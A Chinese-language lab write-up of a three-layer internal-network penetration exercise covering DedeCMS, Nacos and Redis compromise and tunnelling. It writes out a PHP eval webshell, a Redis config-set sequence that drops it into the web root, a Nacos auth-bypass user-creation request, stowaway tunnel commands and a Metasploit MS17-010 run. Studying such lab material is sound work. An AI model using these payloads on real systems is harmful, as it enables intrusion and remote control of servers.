内网横向——记录某三层网络渗透及综合渗透(socks代理隧道搭建,nacos未授权,redis上传Webshell)

本次我们以三层网络渗透(三设备),在本地复现其渗透测试及内网渗透的知识点,本次学习内容包含(信息收集、信息泄露、代码审计流程、后台漏洞、专项漏洞训练、组合拳webshell、主机漏洞等);

文章目录


前置准备

本次我们以三层网络渗透(三设备),在本地复现其渗透测试及内网渗透的知识点。同时,本次学习内容包含(信息收集、信息泄露、代码审计流程、后台漏洞、专项漏洞训练、组合拳webshell、主机漏洞等):

网络拓扑结构如图:

环境及所需工具下载地址:https://pan.quark.cn/s/9de384312d0f(请确保安装盘硬盘容量大于15G)

本次靶场以及WP版权作者:州弟学安全

  • 本次文章仅为本地学习复现,请勿对外进行互联网未授权攻击,造成的后果自行承担
  • 内容中若涉及侵权素材,敬请版权方及时联系,我方将第一时间删除并妥善处理

环境介绍

本环境模拟了一个包含DMZ区、二层网络和三层网络的多层内网渗透场景。

  • DMZ (Layer 1): Windows Server (192.168.44.176 / 10.10.10.22),运行 DedeCMS (8080端口) 和 FTP (21端口)。
  • Layer 2: Linux (10.10.10.23 / 10.10.20.11),运行 Nginx (80端口, 含phpinfo)、Redis (6379端口) 和 Nacos (8848端口)。
  • Layer 3: Windows 7 (10.10.20.12),存在 MS17-010 漏洞。
    • (这里的Windows7是我自己配的,因为作者给的文件并没有)

公网网段:192.168.44.0/24

一层内网网段:10.10.10.0/24

二层内网网段:10.10.20.0/24

该环境用于演练多层内网环境下的横向移动和代理搭建技术,包括:

  • 信息收集与漏洞利用(DedeCMS文件上传、Nacos未授权、Redis写Webshell、MS17-010)。
  • 多级代理搭建与应用(FRP、proxychains、Proxifier)。
  • 代码审计基础(定位文件上传漏洞)。
  • 跨网段扫描与渗透。

DMZ : administrator/P@ssw0rd1
Layer 2 : dmz/P@ssw0rd2
Layer 3 : pro/P@ssw0rd3


任务要求:

(1)拿下DMZ区设备后获取DMZ区administrator桌面下flag文件值

(2)拿下二层网络设备获取某服务内的flag

(3)拿下二层网络设备后获取根目录下flag文件值

(4)拿下三层网络设备后获取pro用户桌面下的flag文件值

话不多说,直接开始;

DMZ主机渗透

探测服务以及端口

首先我们直到DMZ主机的网段为192.168.44.0/24 ,所以我们可以对该网段就行扫描,看看目标主机的具体IP地址是多少:

bash 复制代码
# 网段扫描
nmap -sP 192.168.44.0/24

# 详细信息收集
nmap -sC -sV -A -p- 192.168.44.176

发现目标主机IP地址为192.168.44.176

接下来我们看其开放了哪些服务以及端口

得到结果:

  • 21端口:FTP服务(文件传输)
  • 135端口:MSRPC服务(进程通信)
  • 139端口:NetBIOS-SSN(文件共享)
  • 445端口:SMB服务(文件共享)
  • 3306端口:MySQL服务(数据库)
  • 5357端口:HTTPAPI(设备发现)
  • 5985端口:WinRM服务(远程管理)
  • 8080端口:Nginx服务(Web服务)

这里我为大家列出几个常见漏洞的端口服务,我们接下来就对该主机进行详细的漏洞探测;

DedcCMS信息收集

我们输入网址http://192.168.44.176:8080/,发现网站搭建的是一个很常用的DedeCMS框架:

DedeCMS 是国内早期非常流行的PHP 开源内容管理系统(CMS),以开源免费、模板丰富、上手简单著称,曾被广泛用于搭建企业官网、资讯站、博客等各类网站。

但由于官方后续维护基本停滞,且代码遗留了大量历史安全问题,目前已成为渗透测试中常见的高危目标


常见的高危漏洞

  • SQL 注入漏洞:多处参数未做严格过滤,攻击者可构造恶意 SQL 语句,窃取数据库信息甚至控制服务器。
  • 文件上传漏洞:上传模块对文件类型、内容校验不严,允许上传恶意 PHP 脚本,直接获取服务器权限。
  • 后台弱口令 / 默认账号:很多站点使用默认账号(如admin/admin)或弱密码,易被暴力破解进入后台。
  • 任意文件读取 / 删除:部分功能点未校验文件路径,可读取服务器敏感文件(如/etc/passwd)或删除关键文件。
  • 代码执行漏洞:部分功能存在变量覆盖、函数滥用问题,可被构造恶意请求执行任意代码。
    (不同版本存在漏洞不一样;)

所以我们接下来需要知道搭建的版本是多少:

在网页底部可以得到结果:

去网上搜索相应的漏洞:DedeCMS_V57_UTF8_SP2

找漏洞的出现原因涉及到代码审计,这里我就不讲了,网上有很多好的文章大家可以去看看;

这里我们对该网站进行Web目录扫描

bash 复制代码
python dirsearch.py -u http://192.168.44.176:8080/

# 去除404,403页面
python dirsearch.py -u http://192.168.44.176:8080/ -x 404,403

# 保留相应的页面
python dirsearch.py -u http://192.168.44.176:8080/ -i 200,301

得到结果:


根据结果,访问http://192.168.44.176:8080/**install** /,返回了一个dir

http://192.168.44.176:8080/**uploads** 的结果与/install 也是一样的;

随后访问:http://192.168.44.176:8080/**member**

DedeCMS上传shell

思路

  • 现进行了身份验证,所以我们只能尝试先登陆系统 ,再上传文件;
    如果失败,弱口令爆破,再上传文件;

于是我们尝试创建一个账号登陆:

发现失败了,那只能弱口令爆破了:

打开bp抓包,输入我们的字典:

在后台登陆界面:http://192.168.44.176:8080/dede/login.php


得到结果:admin / admin

既然进入到系统内部了,我们直接在里面添加一句话木马即可:

方法一:在前台模块上传木马

蚁剑连接也是成功的:(用冰蝎,哥斯拉等都可以,看个人)

这里为什么不添加一个新的php文件呢?

  • 因为我们不知道添加到新文件在公网的具体路径(也就是http://xx.xx./123.php)在哪里;
  • 所以这里我选择上传到index.php里,方便快捷;
方法二:发布文章上传php文件(失败)

上传一个图片马或图片,绕过前端mime验证,写入一句话木马,可以看到路由正是我们审计的前端调用文件:

删除上传图片的多余部分并修改扩展名为php,其它不用修改,上传成功后看到响应包中的绝对路径,如一直上传失败,且上传方法无误,则可能是DMZ区的机器自动开启的WD杀软,自行关闭即可;


这里如果失败了,可能是触碰到了CMS的关键词检测

可以对一句话木马进行编码,再上传;

方法三:MySQL日志注入(失败)

在旁边的管理页面,我还发现存在SQL命令执行工具

执行语句发现可以返回结果:

bash 复制代码
SELECT CURRENT_USER();
SELECT USER();

但是想查看日志位置以及开启等敏感操作时,却又没有回显了:

bash 复制代码
SHOW GLOBAL VARIABLES LIKE "%secure%"
SHOW VARIABLES LIKE "general_log%";

分析:

  • 原因一(权限/账号层面)

    • 你当前通过 DedeCMS 注入执行 SQL 时,实际使用的是受限数据库账号 (如只有 SELECT 权限);
    • select users(); 这类函数是允许普通查询返回的 ,但 show variables / show global variables 属于管理级语句,需要更高权限;
    • 权限不足就会被 MySQL 直接拒绝或不返回结果。
  • 原因二(框架/WAF 层面)

    • DedeCMS 本身对 SQL 关键字有一定过滤,很多环境还叠加了 WAF/安全插件,SHOWGLOBALlogsecure 等关键词常被拦截
    • 即便 SQL 注入点可用,框架也可能只允许"返回型 SELECT",对非查询型或敏感语句直接吞掉结果。

用蚁剑连接成功后,成功在DMZ主机发现了flag1:

fscan等工具收集信息

我们比较幸运,这次拿到的直接就是SYSTEM权限:(不然的话还得使用MSF或者CS进行提权)

我们查看网段时发现,DMZ主机有两个网段:

所以我们合理推测,内网网段还存在其他资产,需要我们进行信息收集;

上传fscan等工具进行探测:(因为当前主机属于Windows系统,所以执行fscan.exe

上传文件:


执行程序,得到结果:

我们可以得到:内网的另一台主机PC开启了许多服务:

主机:10.10.10.23

  • 80 端口:HTTP 服务(Web 访问)
  • 6379 端口:Redis 服务(缓存数据库)
  • 8848 端口:Nacos 服务(服务注册)

并且根据结果我们可以看到nacos服务存在两个可用POC:

bash 复制代码
- poc-yaml-alibaba-nacos
- poc-yaml-alibaba-nacos-v1-auth-bypass 

内网PC主机横向

Socks代理搭建

接下来的问题:我们Kali处于外网,如何能够访问到内网进行横向呢?

  • 搭建隧道代理;

搭建隧道的工具有很多,这里我使用的是stowaway

这里简单画了个图,方便理解:

这里我在自己的公网VPS(可以用Kali代替)开启admin节点后:

bash 复制代码
./admin -l 9999 -s 123456

在DMZ主机进行客户端连接:

bash 复制代码
agent.exe -c VPS地址:9999 -s 123456

成功连接节点:

(可以看到就是DMZ主机的shell)

(1)浏览器插件转发流量

我们之前不是还碰到了10.10.10.23的内网PC主机吗,现在我们就可以访问其网页了;

先建立一个端口来转发流量:

随后用浏览器插件访问:(用proxifier也行)

成功访问:

(2)proxifier转发流量

打开后先选择"代理服务器"

新建一个,填入VPS / Kali地址与端口:

填写代理规则

随后即可访问:

proxifier上也可以看到有流量经过:

(3)Kali转发流量

在kali自带的工具里:proxichains

在/etc/proxychains.conf中进行编辑代理规则,代理地址为VPS(stowaway服务端)的IP及端口:

随后测试:

(10.10.10.23:80下有phpinfo.php文件(后续信息收集得到),这个方法是我后面想到才加上来的,不然只能给兄弟们学到两种方法,太可惜了~)

完成设置;

注意

  • 使用浏览器插件,只能在浏览其中转发流量;
  • 使用proxifier,可以在本机PC全局转发流量(也就是说可以使用工具对10.10.10.0/24网段探测,而插件是不可以的)

内网PC的80服务

注意(重要的事说两次!)

  • 使用浏览器插件,只能在浏览其中转发流量;
  • 使用proxifier,可以在本机PC全局转发流量(也就是说可以使用工具对10.10.10.0/24网段探测,而插件是不可以的)

访问 http://10.10.10.23/,结果如下:


Web枚举后可以得到一个敏感文件phpinfo:

进行查看, 通过扫描发现,80端口存在phpinfo文件,此时使用攻击机访问此页面,phpinfo泄露了绝对路径 :

那么是否可以根据泄露的绝对路径,使用redis写入webshell进行连接呢?

内网PC的Redis服务(失败)

那么是否可以根据泄露的绝对路径,使用redis写入webshell进行连接呢?

我们使用kali连接redis,执行命令看到需要输入密码验证:

bash 复制代码
proxychains redis-cli -h 10.10.10.23

可以发现无密码成功进入Redis服务:

想要执行命令,却发现需要认证授权:

(执行命令看到需要输入密码验证)

随后尝试密码爆破,但也失败了:

内网PC的nacos服务

注意(重要事情说三次!)

  • 使用浏览器插件,只能在浏览其中转发流量;
  • 使用proxifier,可以在本机PC全局转发流量(也就是说可以使用工具对10.10.10.0/24网段探测,而插件是不可以的)

访问后 **http://10.10.10.23:8848/nacos/#/login**,页面如下:

小阴招:这里我们疯狂点左上角的图标,可以得到它的版本号: NACOS 2.0.1

对其进行Web枚举,查看是否存在其他可利用的目录:

可以看到无可用信息;


Nacos 2.0.1未授权访问漏洞

并且根据之前还发现了nacos服务存在两个可用POC:

bash 复制代码
- poc-yaml-alibaba-nacos
- poc-yaml-alibaba-nacos-v1-auth-bypass 

根据版本NACOS 2.0.1和两个POC,我们去网上查看它的利用方法:

  • 第一步:先试试nacos默认口令、弱口令,尝试后后发现不存在弱口令
  • 第二步 :即然弱口令不行,那肯定要试一下未授权访问,这里尝试读取用户列表,即/nacos/v1/auth/users

发现响应包有提示,如下图

那就补上去:

终于,/nacos/v1/auth/users?pageNo=1&pageSize=1 返回了结果:

随后多次尝试,发现越来越多

看到有nacos账户,密码证明漏洞存在;

  • 第三步:任意用户添加

访问 http://10.10.10.23:8848/nacos/v1/auth/users?username=PCuser\&password=PCpass 上述链接,抓包修改请求访问为POST,方法即可创建任意用户:

随后登陆系统:

进入nacos服务,发现有三个配置文件(nacos低版本在实战中利用漏洞进入系统,往往会泄露大量敏感信息)

其中一个为flag:

另外两个可能是什么系统的账号和密码



有没有可能是SSH密码或者说是Redis服务的密码?

成功登陆Redis服务,并上传Webshell

分别验证一下,发现确实是Redis服务的:

bash 复制代码
# 输入密码
auth P@ssw0rd_sec

此redis版本存在主从复制漏洞,但无法进行利用;

  • 因为主从复制漏洞需要本地IP 或者 VPS
  • 而当前机器在内网里,映射不到攻击机上面的,所以这里不考虑;

前面已从phpinfo获取到了web绝对路径,此处尝试写入webshell:

bash 复制代码
config set dir /var/www/html
config set dbfilename shell_PC.php
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>"
save

结果如下:

前往蚁剑进行连接,此处可以使用蚁剑自行配置代理,或proxifier指定文件:

访问地址:http://10.10.10.23/shell_PC.php

成功拿下二层设备shell,连接身份IP以DMZ的IP进行连接发包;

信息收集

我们继续进行信息收集,发现了第二层内网网段:10.10.20.0/24

在根目录下获取flag进行提交:

第二部分考察点:

  • 主机的信息收集及二层资产扫描
  • 敏感文件扫描及可用信息判断
  • 其它服务可能存在的漏洞规划
  • 漏洞利用技能和信息收集能力
  • 特定服务的漏洞利用最大化

内网服务器横向

在上面我们拿到了内网二层设备的shell权限,以及相对性的进行flag信息收集步骤,在接着查看网卡信息,看到还有10.10.20.0/24

还是老样子,仍然使用fscan工具进行扫描,因为二层设备是Linux,所以使用fscan-Linux版本进行扫描(stowaway也得使用Linux版本~)

这里我上传到 /tmp 目录下;

bash 复制代码
chmod +x fscan
./fscan -h 10.10.20.0/24

结果如下:

还有可用的POC:

bash 复制代码
10.10.20.11:8848 open
10.10.20.11:22 open
10.10.20.11:6379 open
10.10.20.12:445 open
10.10.20.12:139 open
10.10.20.12:135 open
10.10.20.12:9008 open
10.10.20.11:80 open
[*] WebTitle http://10.10.20.11        code:200 len:0      title:None
[*] WebTitle http://10.10.20.11:8848   code:404 len:431    title:HTTP Status 404 -- Not Found
[*] NetInfo 
[*]10.10.20.12
   [->]ok-PC
   [->]192.168.44.145
   [->]10.10.20.12
[*] OsInfo 10.10.20.12	(Windows 7 Enterprise 7601 Service Pack 1)
[+] PocScan http://10.10.20.11:8848 poc-yaml-alibaba-nacos 
[*] WebTitle https://10.10.20.12:9008  code:403 len:245    title:403 Forbidden
[+] PocScan http://10.10.20.11:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 

配置二层socks代理

随后我们在DMZ主机上执行admin服务端,内网PC主机则执行agent客户端

进入node 0 节点,设置监听端口,开启监听模式:

  • DMZ主机(Windows主机)
bash 复制代码
./agent -c 10.10.10.22 -s 123456
  • 服务端:成功上线一个新的node 1

方法一:打开kali,通过MSF进行攻击:

bash 复制代码
msfconsole -q
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set proxies socks5:117.72.218.141:1082
set rhosts 10.10.20.12]

run

最后打开3389,访问桌面:

方法二:proxifier添加新代理

添加新的代理服务器:

新的代理规则:

如果内网服务器,开放有http等服务,输入 http://10.10.20.12 即可访问;


总结

总的来说,内网横向是一件很好玩的事情,限制于篇幅,我无法把所有的方法都展现出来;

不止三层,如有N层都可以用此方法进行渗透测试,希望本篇文章及视频帮助到大家(学习、大赛、工作、兴趣爱好)

期待下次再见;

相关推荐
Big Cole2 小时前
PHP面试题(Redis核心知识篇)
开发语言·redis·php
JaguarJack2 小时前
Laravel AI SDK 在 Laracon India 2026 首次亮相
后端·php·laravel
世界尽头与你2 小时前
(修复方案)CVE-2021-43798: Grafana路径遍历漏洞
安全·grafana
wljt4 小时前
HTTP和openFeign
网络·网络协议·http
汤愈韬10 小时前
ACL概述、ACL原理、基本ACL应用及配置
网络·网络协议·网络安全
JAVA+C语言13 小时前
如何优化 Java 多主机通信的性能?
java·开发语言·php
码刘的极客手记14 小时前
VCAP4-DCA Beta 考试体验分享与 esxcli 自动化实战(第二、三部分)
网络·esxi·vmware·虚拟机
青岑CTF14 小时前
攻防世界-Ics-05-胎教版wp
开发语言·安全·web安全·网络安全·php
朝风工作室15 小时前
开源一款轻量级跨网段 IPC 设备发现与网络配置工具
网络·开源